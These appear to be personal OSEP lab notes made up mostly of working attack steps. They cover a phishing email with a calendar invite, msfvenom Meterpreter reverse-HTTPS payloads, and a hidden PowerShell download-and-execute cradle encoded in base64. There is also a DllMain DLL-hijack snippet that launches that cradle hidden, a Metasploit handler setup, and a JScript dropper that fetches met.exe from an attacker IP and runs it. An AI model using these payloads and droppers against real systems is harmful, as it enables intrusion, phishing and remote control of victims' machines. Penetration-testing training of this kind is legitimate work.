OSEP

Tunnel RDP session via the Kali box

Do this from the mac so that we can have a single vpn session open (because offsec tends to drop duplicates). That way we can have the kali box catch any shells while also being able to RDP from the mac or whichever machine. (just RDP to 127.0.0.1:13389)

ssh -L 13389:192.168.214.203:3389 kali@192.168.1.184

Phishing with calendar invites

sendEmail -s 192.168.1.10 -t offsec@corp1.com -f attacker@corp1.com -u "test"  -o message-content-type=html -o message-file=./template.html -a iCalendar.ics

PowerShell Payload in .dll hijack

1. Generate the powershell script:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=YOUR_IP LPORT=443 -f ps1 -o shell.ps1

1. Host it

   python3 -m http.server 80
   

2. Encode We’d want something like:

   powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://YOUR_IP/shell.ps1')"
   

   But need to encode it:

   echo -n "powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://YOUR_IP/shell.ps1')\"" | iconv -t UTF-16LE | base64 -w 0
   

3. Handle the DLL_PROCESS_ATTACH notification in DllMain:

DLL_PROCESS_ATTACH is a reason passed to the entry-point function, not an exported function. This is a rough lab snippet: starting another process from DllMain can deadlock because the loader lock is held. Microsoft’s DLL best practices specifically call out CreateProcess here.

case DLL_PROCESS_ATTACH:
{
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    CreateProcessA(
        NULL,
        (LPSTR)"powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand <PASTE_BASE64_STRING_HERE>",
        NULL, NULL, FALSE,
        CREATE_NO_WINDOW,
        NULL, NULL,
        &si, &pi
    );
    break;
}

1. Build/Compile

   x86_64-w64-mingw32-gcc -shared -o hijack.dll your_source.c
   

2. Listener

   msfconsole
   use exploit/multi/handler
   set payload windows/x64/meterpreter/reverse_https
   set LHOST YOUR_IP
   set LPORT 443
   set ExitOnSession false
   exploit -j
   

   JavaScript

Create 64-bit Meterpreter reverse HTTPS executable (e.g met.exe); save it to Kali web root. Set up a Metasploit multi/handler to catch the session

var url = "http://192.168.x.x/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("met.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("met.exe");

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<your_ip> LPORT=<your_port> -f exe -o met.exe

cd /path/to/met.exe
python3 -m http.server 80